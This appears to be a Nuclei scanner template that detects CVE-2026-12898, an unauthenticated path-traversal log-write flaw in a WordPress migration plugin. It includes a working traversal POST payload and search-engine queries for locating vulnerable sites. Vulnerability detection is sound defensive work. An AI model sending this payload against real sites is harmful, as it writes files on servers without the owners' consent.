All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write

id: CVE-2026-12898

info:
  name: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write
  author: iamatownboy
  severity: medium
  description: |
    The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory.
  impact: |
    Unauthenticated attackers can write log files outside the plugin storage directory, potentially leading to information disclosure or further compromise.
  remediation: |
    Update All-in-One WP Migration and Backup to version 7.106 or later.
  reference:
    - https://wpscan.com/vulnerability/c90553e4-8e1a-4c99-a28f-a0de8d635caa/
    - https://wordpress.org/plugins/all-in-one-wp-migration/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2026-12898
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: servmask
    product: all-in-one-wp-migration
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/all-in-one-wp-migration/"
    fofa-query: body="/wp-content/plugins/all-in-one-wp-migration/"
    publicwww-query: "/wp-content/plugins/all-in-one-wp-migration/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,all-in-one-wp-migration,traversal,log-write,vkev

variables:
  logname: "{{rand_text_alpha(8)}}"
  padding: "{{repeat('p=1&', 5200)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "All-in-One WP Migration")
          - compare_versions(version, "< 7.106")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/{{logname}}&{{padding}}end=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/{{logname}}.log"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "Input variables exceeded", "PHP Request Startup")
        condition: and
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